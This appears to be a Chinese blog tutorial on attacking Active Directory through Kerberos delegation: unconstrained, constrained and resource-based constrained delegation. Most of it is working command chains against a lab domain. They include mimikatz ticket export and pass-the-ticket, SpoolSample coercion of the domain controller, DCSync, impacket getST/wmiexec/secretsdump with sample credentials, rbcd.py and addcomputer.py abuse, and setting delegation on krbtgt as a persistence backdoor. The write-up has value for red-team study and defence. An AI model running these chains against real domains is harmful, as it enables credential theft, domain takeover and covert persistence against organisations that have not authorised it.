前言
本篇文章主要是对域渗透中的Kerberos委派攻击的利用手法进行简单的总结。
(可能思路狭隘,有缺有错,师傅们多带带)
域委派是指,将域内用户的权限委派给服务账号,使得服务账号能以用户权限开展域内活动。需要注意的是在域内可以委派的账户有两种,一种是主机账户,另一种是服务账户(域用户通过注册SPN也可以成为服务账号)。
Kerberos委派主要分为三种:
非约束委派(Unconstrained Delegation)
约束委派(Constrained Delegation)
基于资源的约束委派(Resource-Based Constrained Delegation)
非约束委派和约束委派的流程,有兴趣的师傅可以去看看微软的手册。
下面简单介绍下Kerberos的各类委派,如何配置,如何发现,实战场景中如何利用。
非约束委派
概述
当域用户访问域内某服务时,如果该服务开启了非约束委派,用户会主动将自己已转发的的TGT发送服务,而该服务会将用户的TGT保存在内存以备下次重用,然后服务就可以利用该已转发的TGT以用户的身份访问该用户能访问的服务。非约束委派的安全问题就是如果我们找到配置了非约束委派的主机,并且通过一定手段拿下该主机的权限,我们就可以拿到所有访问过该主机用户的TGT。
如何配置和发现非约束委派的主机
配置:
查找:
AdFind.exe -b "DC=0ne,DC=test" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
利用场景
被动
当我们在域内拿到一台配置了非约束委派的主机后,就可以使用mimikatz导出所有票据,若是有其他用户访问过该主机,那么我们就可以通过ptt获取该用户权限。
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit
kerberos::ptt
psexec64.exe \\DC2012.0ne.test -accepteula -s cmd
当然我们也可以诱导域管访问该主机,例如通过给管理员发诱饵文件修改Desktop.ini,或是outlook等等。详情可参考daiker师傅的发起NTLM请求。
域管在域控上点击此文件夹是就会访问win7,导出域管的TGT,ptt,psexec域控。
非约束委派+Spooler打印机服务
在实战中,被动的非约束委派的利用需要和目标用户交互比较鸡肋。因此可以利用非约束委派+Spooler 打印机服务可以强制指定的主机进行连接。
利用原理:利用 Windows 打印系统远程协议 (MS-RPRN) 中的一种旧的但是默认启用的方法,在该方法中,域用户可以使用 MS-RPRN RpcRemoteFindFirstPrinterChangeNotification(Ex) 方法强制任何运行了 Spooler 服务的计算机以通过 Kerberos 或 NTLM 对攻击者选择的目标进行身份验证。
POC: https://github.com/leechristensen/SpoolSample
在WIN7主机上运行该工具,强制域控向WIN7发起认证,然后导出票据,可以看到已经获取了DC2012$的TGT,符合DCSync的利用条件[域控制器计算机帐户]:
kerberos::ptt xxxx.kirbi
lsadump::dcsync /domain:0ne.test /all /csv
约束委派
概述
由于非约束委派的不安全性,微软在windows server2003中引入了约束委派,对Kerberos协议进行了拓展,引入了S4U。其中S4U支持两个子协议:
- Service for User to Self(S4U2self)
- Service for User to Proxy(S4U2proxy)
这两个扩展都允许服务代表用户从KDC请求票证。S4U2self可以代表自身请求针对其自身的Kerberos服务票据(ST);S4U2proxy可以以用户的名义请求其它服务的ST,约束委派就是限制了S4U2proxy扩展的范围。配置它后,约束委派将限制指定服务可以代表用户去访问服务。该设置需要SeEnableDelegation
特权,该特权很敏感,通常仅授予域管理员。
约束委派的安全问题就是如果我们找到配置了约束委派的服务账号,并且通过一定手段拿下该服务账号。我们就可以利用这个服务账号代表任意用户进行S4U2self获得一个可转发的票据,然后把获取到的票据用于S42proxy(作为AddtionTicket),从而获取一个可转发的TGS,服务就可以代替任意用户访问另外一个服务(既被配置的约束委派的服务)。
如何配置和发现约束委派的服务
配置:
查找:
AdFind.exe -b "DC=0ne,DC=test" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
也可以使用impacket工具包findDelegation.py
找出所有的委派配置。
findDelegation.py -dc-ip 192.168.17.134 -target-domain 0ne.test 0ne.test/zhangsan:zs@123456
利用场景
后门
约束委派可以作为变种黄金票据,用作后门权限维持。
给后门账户[知道密码或是hash就成]注册SPN:
setspn -U -A variant/golden lisi
配置后门账户到域控的约束委派:
使用impactet工具包中的getST.py[其他工具也成],模拟域管理员administrator账号申请访问域控的ldap服务的ST。
getST.py -dc-ip 192.168.17.134 -spn ldap/DC2012.0ne.test -impersonate administrator 0ne.test/lisi -hashes xxxxx:xxxxxx
ptt,然后wmiexec到域控获取权限,或是secretsdump后随时随地pth域控:
export KRB5CCNAME=administrator.ccache
klist
wmiexec.py -dc-ip 192.168.17.134 -no-pass -k administrator@DC2012.0ne.test
secretsdump.py -k -no-pass DC2012.0ne.test -just-dc-user administrator
wmiexec.py 0ne/administrator@192.168.17.134 -hashes xxxxx:xxxxxxx
横向
打下配置了约束委派的服务账号,我们就可以拿下被配置的约束委派的服务(A->B)。
和上述利用方式一致:用A账号getST模拟administrator获取访问B的ST,ptt,wmiexec。
基于资源的约束委派
概述
配置约束委派,必须拥有SeEnableDelegation
特权,该特权很敏感,通常仅授予域管理员。为了使用户/资源更加独立,Windows Server 2012中引入了基于资源的约束委派。
传统的约束委派是"正向的",通过将service2的SPN添加到service1的msDS-AllowedToDelegateTo
属性中,并且配置service1的TrustedToAuthenticationForDelegation
属性为true。传统的约束委派S4U2self返回的票据一定是可转发的,如果不可转发那么S4U2proxy将失败;但是基于资源的约束委派不同,就算S4U2self返回的票据不可转发,S4U2proxy也是可以成功,并且S4U2proxy返回的票据总是可转发。
同时基于资源的约束委派(RBCD)配置则是相反的,通过将service1的SID添加到service2的msDS-AllowedToActOnBehalfOfOtherIdentity
属性中,就可以达到相同目的。
基于资源的约束委派具有传统的约束委派的所有安全问题,因为我们只需要拥有修改msDS-AllowedToActOnBehalfOfOtherIdentity
属性的权限,所以RBCD的利用比较于传统的约束委派场景多也简单。
默认情况下以下账户拥有修改msDS-AllowedToActOnBehalfOfOtherIdentity
属性的权限:
- Domain Admins(域管理员)
- mS-DS-CreatorSID(将该机器加入域的账户)
- NT AUTHORITY\SELF(机器账户本身)
RBCD的利用条件:
- 能修改
msDS-AllowedToActOnBehalfOfOtherIdentity
属性的权限 - 一个具有SPN的账户的TGT
利用场景
针对上述情况可衍生的利用场景。
后门
需要域管理员权限,修改krbtgt或是域控的msDS-AllowedToActOnBehalfOfOtherIdentity
属性,加入已知后门账户的SID。Domain Admins
使用ActiveDirectory模块,域控2012及以上默认安装。
Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount lisi
Get-ADUser krbtgt -Properties PrincipalsAllowedToDelegateToAccount
getST.py -dc-ip 192.168.17.134 -spn krbtgt -impersonate administrator 0ne.test/lisi:ls@123456
wmiexec.py -dc-ip 192.168.17.134 -no-pass -k administrator@DC2012.0ne.test
Set-ADComputer DC2012 -PrincipalsAllowedToDelegateToAccount lisi
Get-ADComputer DC2012 -Properties PrincipalsAllowedToDelegateToAccount
getST.py -dc-ip 192.168.17.134 -spn ldap/DC2012.0ne.test -impersonate administrator 0ne.test/lisi:ls@123456
横向
A配置了到B的RBCD,打下A就可以打下B。和约束委派横向利用场景一致
某公司有专门加域的域用户A或是其有添加过多台机器入域,获取该账户的权限后,可利用基于资源的约束委派修改机器属性,批量获取机器权限。mS-DS-CreatorSID
如果我们想拿域内机器A的权限,如果我们又没有机器A的administrators组成员凭据的话还可以看机器A是通过哪个用户加入域的,控制了这个用户A依然可以获取权限。mS-DS-CreatorSID
假如张三就是上述用户A。
如何查找类似的用户,非域管加域机器才会有mS-DS-CreatorSID
属性:
AdFind.exe -b "DC=0ne,DC=test" -f "(&(samAccountType=805306369))" cn mS-DS-CreatorSID
AdFind.exe -b "DC=0ne,DC=test" -f "(&(objectsid=S-1-5-21-xxxxxxxx))" objectclass cn dn
win7和web01的mS-DS-CreatorSID
的值相同,都是被zhangsan加入域。
通过一定手段打下张三,然后添加机器账号,设置test01到WIN7的RBCD:
addcomputer.py -dc-ip 192.168.17.134 -computer-name 'test01$' -computer-pass test@123456 0ne.test/zhangsan:zs@123456
rbcd.py -f test01 -t win7 -dc-ip 192.168.17.134 0ne\\zhangsan:zs\@123456
模拟域管理员administrator账号申请访问win7的ST,ptt,然后wmiexec到目标主机:
getST.py -spn cifs/win7.0ne.test -impersonate administrator -dc-ip 192.168.17.134 0ne.test/test01$:test@123456
wmiexec.py -dc-ip 192.168.17.134 -no-pass -k administrator@win7.0ne.test
同理WEB01也可以打下来。
提权
获取某域内web服务器的iis apppool\defaultapppool或是network service账户权限,虽然是低权限用户,但是这些账户出网时都是以当前机器账户身份,可以利用RBCD进行提权。NT AUTHORITY\SELF
使用https://github.com/pkb1s/SharpAllowedToAct, 添加机器账户并设置iis到web01的RBCD:
SharpAllowedToAct.exe -m iis -p iis -t WEB01 -a DC2012.0ne.test -d 0ne.test
模拟域管理员administrator账号申请访问web01的ST,ptt,然后wmiexec到目标主机:
getST.py -spn cifs/web01.0ne.test -impersonate administrator -dc-ip 192.168.17.134 0ne.test/iis$:iis
wmiexec.py -dc-ip 192.168.17.134 -no-pass -k administrator@web01.0ne.test
某企业新员工张三入职后用工作电脑加入公司域时,使用的自己域账号,在攻防演习中被钓鱼上线,但是发现该用户没有在本地管理员组里面,可利用RBCD进行提权。mS-DS-CreatorSID
域内获取某台主机低权限,可通过获取到机器加域的账号权限,再利用RBCD进行提权。mS-DS-CreatorSID
这两场景和RBCD横向利用场景一致:加域账号->添加机器账号->设置RBCD->getST,ptt。
参考
感谢3t2ugg1e
师傅的服务云课堂分享,还有在网上愿意技术分享的各位师傅们。
利用资源约束委派进行的提权攻击分析
微软不认的“0day”之域内本地提权-烂番茄(Rotten Tomato)
daiker师傅的windows-protocol
1.3.3 Protocol Overview